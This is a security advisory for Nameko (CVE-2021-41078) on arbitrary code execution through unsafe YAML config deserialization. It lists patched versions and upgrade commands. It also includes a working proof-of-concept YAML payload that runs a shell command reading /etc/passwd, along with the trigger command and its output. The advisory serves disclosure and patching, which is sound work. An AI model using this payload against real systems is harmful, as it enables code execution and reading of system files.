Advisory

GHSA-6p52-jr3q-c94g

Also known as: CVE-2021-41078, PYSEC-2021-383

Summary

Nameko Arbitrary code execution due to YAML deserialization

Details

Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

# malicious.yaml
!!python/object/new:type
args: ['z', !!python/tuple [], {'extend': !!python/name:exec }]
listitems: "__import__('os').system('cat /etc/passwd')"
$ nameko run --config malicious.yaml test
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
... 

Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2021-10-19 15:28 UTC
Modified
2026-07-08 06:28 UTC

Affected packages and fixes

nameko

PyPI · All systems

Affected

  • introduced 0, fixed 2.14.0 (ecosystem)

Fixed versions

2.14.0

Fix

  • Fixed version 2.14.0
    pip install --upgrade nameko==2.14.0

nameko

PyPI · All systems

Affected

  • introduced 3.0.0rc0, fixed 3.0.0rc10 (ecosystem)

Fixed versions

3.0.0rc10

Fix

  • Fixed version 3.0.0rc10
    pip install --upgrade nameko==3.0.0rc10

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences